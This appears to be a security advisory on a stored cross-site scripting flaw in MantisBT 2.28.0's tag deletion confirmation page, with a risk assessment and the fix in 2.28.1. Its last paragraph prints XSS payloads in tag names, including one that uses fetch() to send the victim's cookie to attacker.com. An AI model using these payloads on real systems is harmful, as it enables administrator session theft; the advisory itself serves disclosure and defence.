Mantisbt CVE-2026-33517

Attacker must be authenticated user with tag deletion privileges in MantisBT 2.28.0. Victim must navigate to tag_delete.php and view the confirmation message containing the injected tag name. Successful JavaScript execution requires permissive Content Security Policy settings.

While formal CVSS and EPSS scores are not provided in the intelligence data, the vulnerability carries moderate-to-high real-world risk based on multiple corroborating signals. The attack vector is Network, requires user interaction (viewing the confirmation dialog), and typically requires at least low-level privileges (tag management capability) within MantisBT. The CWE-79 classification and the specific mention of CSP-dependent bypass indicate this is not a guaranteed code execution but rather a conditional XSS requiring either misconfigured CSP headers or in-scope JavaScript. The fact that a patch was released in version 2.28.1 shortly after 2.28.0, combined with the availability of workarounds in language files and the ability to revert the offending commit, suggests the vendor triaged this with moderate urgency. Given that MantisBT is open-source and widely deployed in enterprise environments, and tag deletion is a common administrative function, the exploitability is elevated; however, the need for user interaction and potential CSP mitigation reduces it from critical to high priority. Organizations running versions prior to 2.28.1 should prioritize patching.

An authenticated attacker with tag management privileges crafts a malicious tag name containing JavaScript, such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">' or '<svg onload=alert(1)>'. When an administrator navigates to delete this tag and views the confirmation dialog, the injected code executes in their browser (assuming CSP permits inline scripts or allows the attacker's domain), allowing the attacker to exfiltrate the administrator's session cookie, trigger actions on their behalf, or redirect them to a malicious site. The attack requires the administrator to visit the confirmation page, but given that tag deletion is a routine administrative function, this condition is easily met in active MantisBT deployments.